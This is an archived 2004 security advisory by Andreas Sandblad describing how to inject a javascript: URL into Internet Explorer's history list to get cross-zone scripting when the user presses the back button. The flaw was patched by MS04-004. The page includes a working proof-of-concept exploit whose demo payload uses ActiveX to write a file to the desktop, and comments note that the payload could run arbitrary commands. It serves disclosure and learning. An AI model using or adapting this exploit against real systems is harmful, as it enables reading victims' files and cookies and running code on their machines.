what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

JSinject.txt

JSinject.txt
Posted Feb 3, 2004
Authored by Andreas Sandblad

There lies a way to inject a javascript url in the history list of Microsoft Internet Explorer causing a cross site/zone scripting attack when the user presses the backbutton. An attacker may use this to read arbitrary cookies/local files and execute programs leading to total system compromise if IE is run as administrator.

tags | exploit, arbitrary, local, javascript
SHA-256 | e01b9463a639085838e90199fac938b440e307d2558b62b00d81aa347385b6ed

JSinject.txt

Change Mirror Download

- Sandblad advisory #12 -

/--------------------------------------------------------------/
Title: Inject javascript url in history list (revisited)
Date: 2004-02-03
Software: Internet Explorer
Vendor: http://www.microsoft.com/
Status: Patched by MS04-004
Type: Cross site/zone scripting
Impact: Reading arbitrary cookies/local files
and executing remote programs _ _
o' \,=./ `o
Author: Andreas Sandblad, sandblad@acc.umu.se (o o)
/--=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo--/


TABLE OF CONTENTS:
==================
Summary ...................................................... 1
Vendor status ................................................ 2
Details ...................................................... 3
Exploit ...................................................... 4
FAQ .......................................................... 5
Disclaimer ................................................... 6
Feedback ..................................................... 7



(1) SUMMARY:
============
The author has found a way to inject a javascript url in the history list
causing a cross site/zone scripting attack when the user presses the
backbutton. An attacker may use this to read arbitrary cookies/local files
and execute programs leading to total system compromise if IE is run as
administrator. Users can protect themselves by downloading the latest
patch from Microsoft as described in:
http://www.microsoft.com/technet/treeview/?url=/technet/security/bulletin/MS04-004.asp



(2) VENDOR STATUS:
==================
2003-09-03:
Microsoft informed about the vulnerability.

2004-02-02:
Microsoft released patched (MS04-004).



(3) DETAILS:
============
The idea to inject javascript urls in the history list is not new. Almost
two years ago I publiced the advisory "Sandblad #4 - Using the backbutton
in IE is dangerous". The technique is quite straightforward and uses that
a javascript url is operating in the same domain as it was applied over.
Hence, it is possible to trigger a cross site/zone scripting attack when
the user presses the backbutton. Liu Die Yu described a similiar way to
inject javascript urls in history list (CAN-2003-1026) in late November
2003 and showed how it was possible to force the user to navigate back
automaticly by using frames.

Internet Explorer tries to remove javascript urls in the history list but
seems to fail in some situations. One way is to link to a resource from a
javascript url with: external.NavigateAndFind('res:','','')
where 'res:' is redirected to the Local Machine zone. When navigating back
the javascript url will be applied over the Local Machine zone.



(4) EXPLOIT:
============

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name: payload
// Purpose: Run payload code called from Local Machine zone.
// The code may be arbitrary such as executing shell commands.
// This demo simply creates a harmless textfile on the desktop.
function payload() {
file = "sandblad.txt";
o = new ActiveXObject("ADODB.Stream");
o.Open();
o.Type=2;
o.Charset="ascii";
o.WriteText("You are vulnerable!");
o.SaveToFile(file, 2);
o.Close();
alert("File "+file+" created on desktop!");
}

// Name: trigger
// Purpose: Inject javascript url in history list and run payload
// function when the user hits the backbutton.
function trigger(len) {
if (history.length != len)
payload();
else
return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name: backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
backbutton();



(5) FAQ:
========
Q: Is this issue the same as described in CAN-2003-1026?
A: No, but it has some similarities as the attack vector is injection of a
javascript url in the history list. That issue was reported by Liu Die Yu.

Q: I can't get the exploit to work. What is wrong?
A: I did get it to work. Microsoft did get it to work. Making something
work for everybody is hard and not the actual purpose. POC is important
for people to understand and learn, but should never be fine-tuned to work
perfectly.



(6) Disclaimer:
===============
Andreas Sandblad is not responsible for the misuse of the
information provided in this advisory. The opinions expressed
are my own and not of any company. In no event shall the author
be liable for any damages whatsoever arising out of or in
connection with the use or spread of this advisory. Any use of
the information is at the user's own risk.



(7) Feedback: <-- Don't hesitate!
=============
Please send thoughts and comments to: _ _
sandblad@acc.umu.se o' \,=./ `o
(o o)
---=--=---=--=--=---=--=--=--=--=---=--=--=-----ooO--(_)--Ooo---
Andreas Sandblad, UmeƄ Sweden.
---=--=---=--=--=---=--=--=--=--=---=--=--=--=--=--=--=--=---=--
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close